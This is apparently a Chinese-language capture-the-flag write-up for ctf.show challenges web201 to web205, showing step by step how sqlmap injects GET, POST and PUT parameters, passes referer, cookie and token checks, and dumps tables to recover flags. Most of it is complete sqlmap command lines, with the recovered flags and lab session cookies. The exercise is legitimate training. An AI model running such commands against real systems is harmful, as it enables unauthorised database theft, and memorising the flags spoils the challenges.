目录
开始系统练习sqlmap的使用
1、web201

随便提交一个看下它调用的接口和请求的参数有哪些

可以看到 URL 为:
https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1&page=1&limit=10
(有些是需要加上一些其他参数的,比如有时候有 cookie 啥的,这里单独指定 id 也可以注)
题目有提到 使用--user-agent 指定agent,因为对于 sqlmap 默认的 user-agent 会包含 sqlmap 关键字,很多时候我们会使用 --random-agent 来随机 ua 头。
题目要求还需要使用--referer 绕过referer检查,referer 就是请求来自哪里,这里我们的请求其实是来自题目的地址:
https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php

使用 sqlmap 指定一下:--batch 是帮助我们在执行过程中自动选择,-u 指定 URL
python sqlmap.py -u http://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1 --referer https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php --batch
这里没有指定 ua 也可以,检测出来是 mysql 数据库

追加参数 --dbs 查一下数据库名:
python sqlmap.py -u http://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1 --referer https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php --dbs --batch

存在名为 ctfshow_web 的数据库,使用 -D 指定这个库,--tables 指定查这个库下的所有表名:
表名为 ctfshow_user

使用 -T 参数指定这个表,--columns 查该表下所有的列名:
python sqlmap.py -u http://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1 --referer https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user --columns --batch

使用 -C 指定列,--dump 转存数据,查具体字段信息:
python sqlmap.py -u http://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1 --referer https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

拿到 flag:ctfshow{fb24c339-de02-48cb-a5b4-087e87618c2a}
2、web202

上一题是 get 请求,这里使用 --data 指定参数进行 post 请求的注入:
python sqlmap.py -u http://aea593d9-faea-4a69-aa90-ab3a274f0ac8.challenge.ctf.show/api/ --data id=1 --referer https://aea593d9-faea-4a69-aa90-ab3a274f0ac8.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

顺便说一下,进行 post 注入的方法还可以先用 burpsuite 抓包,将请求包存为一个 txt 文件,再使用 -r 参数指定这个文件进行注入。
3、web203

使用--method 调整sqlmap的请求方式:
需要加上--headers="Content-Type: text/plain",否则是按表单提交的,put接收不到,并且这里 api 后面需要加上 index.php,前两个没加可以,但这里不行,有点问题。
python sqlmap.py -u http://1f1d5d23-fe13-43de-b12e-895e89af3af9.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://1f1d5d23-fe13-43de-b12e-895e89af3af9.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain"

拿到 flag:ctfshow{fe7d4ddf-e446-4cf5-b4d5-fdee83f9b490}
4、web204

使用 --cookie 提交cookie数据
看一下 cookie 有哪些:


使用 --cookie 指定添加:
python sqlmap.py -u http://74cb1048-e625-4fce-961b-04cc27c10f17.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74cb1048-e625-4fce-961b-04cc27c10f17.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=fd5d37jbd0f0cli08lgn33gg1o; ctfshow=c238470592a32aa4a322a6ce9ab247c0"

拿到 flag:ctfshow{ed58474e-afab-4003-8afe-19d01f05ebfe}
5、web205

api调用需要鉴权

发现在访问 index.php 前都会先访问 getToken.php
追加 --safe-url 参数设置在测试目标地址前访问的安全链接,将 url 设置为 api/getToken.php,再加上 --safe-preq=1 表示访问 api/getToken.php 一次:
python sqlmap.py -u http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=bbuclhip78peleg9ki3mfp2493" --safe-url="http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch
按照前面的字段名跑出来没有看到 flag

因此我们重新跑一下表名:
python sqlmap.py -u http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=bbuclhip78peleg9ki3mfp2493" --safe-url="http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch

果然新增了一个叫 ctfshow_flax 的表,查一下该表下的列名:
python sqlmap.py -u http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=bbuclhip78peleg9ki3mfp2493" --safe-url="http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns --batch

查具体字段信息:
python sqlmap.py -u http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=bbuclhip78peleg9ki3mfp2493" --safe-url="http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

拿到 flag:ctfshow{94a379a3-e0a3-46b4-8b61-c78b37499748}